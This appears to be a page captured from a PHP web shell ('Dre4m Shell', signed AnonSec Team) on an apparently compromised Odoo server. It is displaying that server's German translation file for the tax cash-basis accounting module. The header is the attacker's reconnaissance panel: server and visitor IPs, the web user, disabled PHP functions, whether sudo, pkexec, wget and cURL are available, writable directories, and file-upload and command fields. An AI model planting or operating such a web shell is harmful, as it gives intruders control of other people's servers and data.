Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.137.41.2
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/account_tax_cash_basis/i18n/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/account_tax_cash_basis/i18n/de.po
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * account_tax_cash_basis
# 
# Translators:
# Wolfgang Taferner <wolfgang.transifex@service.wt-io-it.at>, 2016
# Thorsten Vocks <thorsten.vocks@openbig.org>, 2016
# Martin Trigaux <mat@odoo.com>, 2016
# Rudolf Schnapka <rs@techno-flex.de>, 2016
# Mathias Neef <mn@copado.de>, 2016
# Ermin Trevisan <trevi@twanda.com>, 2016
# Tina Rittmüller <tr@ife.de>, 2016
# Bülent Tiknas <btiknas@googlemail.com>, 2017
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 10.0c\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-09-07 08:55+0000\n"
"PO-Revision-Date: 2016-09-07 08:55+0000\n"
"Last-Translator: Bülent Tiknas <btiknas@googlemail.com>, 2017\n"
"Language-Team: German (https://www.transifex.com/odoo/teams/41243/de/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Language: de\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#. module: account_tax_cash_basis
#: model:ir.model,name:account_tax_cash_basis.model_account_move
msgid "Account Entry"
msgstr "Buchungssatz"

#. module: account_tax_cash_basis
#: model:ir.model.fields,help:account_tax_cash_basis.field_account_tax_cash_basis_account
msgid "Account use when creating entry for tax cash basis"
msgstr "Verwendung des Kontos bei der Erfassung der Steuerzahlungsbasis"

#. module: account_tax_cash_basis
#: model:ir.model,name:account_tax_cash_basis.model_res_company
msgid "Companies"
msgstr "Unternehmen"

#. module: account_tax_cash_basis
#: model:ir.model,name:account_tax_cash_basis.model_account_move_line
msgid "Journal Item"
msgstr "Buchungszeile"

#. module: account_tax_cash_basis
#: model:ir.model,name:account_tax_cash_basis.model_account_partial_reconcile
msgid "Partial Reconcile"
msgstr "Teilausgleich Offene Posten"

#. module: account_tax_cash_basis
#: code:addons/account_tax_cash_basis/models/account_partial_reconcile.py:39
#, python-format
msgid "Please configure a Tax Received Account for tax %s"
msgstr "Konfigurieren Sie bitte ein Konto für Steuerrückerstattungen in %s."

#. module: account_tax_cash_basis
#: model:ir.model.fields,help:account_tax_cash_basis.field_account_tax_use_cash_basis
msgid ""
"Select this if the tax should use cash basis,which will create an entry for "
"this tax on a given account during reconciliation"
msgstr ""
"Wählen Sie diese Option, wenn die Steuer auf Cash-Basis berechnet werden "
"soll, wodurch bei der Abstimmung ein Eintrag für diese Steuer auf einem "
"bestimmten Konto erzeugt wird."

#. module: account_tax_cash_basis
#: model:ir.model,name:account_tax_cash_basis.model_account_tax
msgid "Tax"
msgstr "Steuer"

#. module: account_tax_cash_basis
#: model:ir.model.fields,field_description:account_tax_cash_basis.field_account_move_tax_cash_basis_rec_id
msgid "Tax Cash Basis Entry of"
msgstr "EÜR-Steuerbuchung zu"

#. module: account_tax_cash_basis
#: model:ir.model.fields,field_description:account_tax_cash_basis.field_account_config_settings_tax_cash_basis_journal_id
#: model:ir.model.fields,field_description:account_tax_cash_basis.field_res_company_tax_cash_basis_journal_id
msgid "Tax Cash Basis Journal"
msgstr "Journal für Istbesteuerung"

#. module: account_tax_cash_basis
#: model:ir.model.fields,field_description:account_tax_cash_basis.field_account_tax_cash_basis_account
msgid "Tax Received Account"
msgstr "Konto für Vorsteuer"

#. module: account_tax_cash_basis
#: model:ir.model.fields,help:account_tax_cash_basis.field_account_move_tax_cash_basis_rec_id
msgid ""
"Technical field used to keep track of the tax cash basis reconciliation.This"
" is needed when cancelling the source: it will post the inverse journal "
"entry to cancel that part too."
msgstr ""
"Technisches Feld, das verwendet wird, um die Abgleichung der "
"Steuerzahlungsbasis zu verfolgen, die bei der Stornierung der Quelle "
"benötigt wird: Es wird die umgekehrte Journalbuchung gebucht, um auch diesen"
" Teil zu stornieren."

#. module: account_tax_cash_basis
#: code:addons/account_tax_cash_basis/models/account_partial_reconcile.py:80
#, python-format
msgid ""
"There is no tax cash basis journal defined for this company: \"%s\" \n"
"Configure it in Accounting/Configuration/Settings"
msgstr ""
"Es ist für das Unternehmen \"%s\" kein EÜR-Journal bestimmt worden.\n"
"Legen Sie dieses bitte in Abrechnung/Konfiguration/Einstellungen fest."

#. module: account_tax_cash_basis
#: model:ir.model.fields,field_description:account_tax_cash_basis.field_account_tax_use_cash_basis
msgid "Use Cash Basis"
msgstr "Berechnung der Steuer nach vereinnahmten Entgelten"

#. module: account_tax_cash_basis
#: model:ir.model,name:account_tax_cash_basis.model_account_config_settings
msgid "account.config.settings"
msgstr "account.config.settings"

Anon7 - 2022
AnonSec Team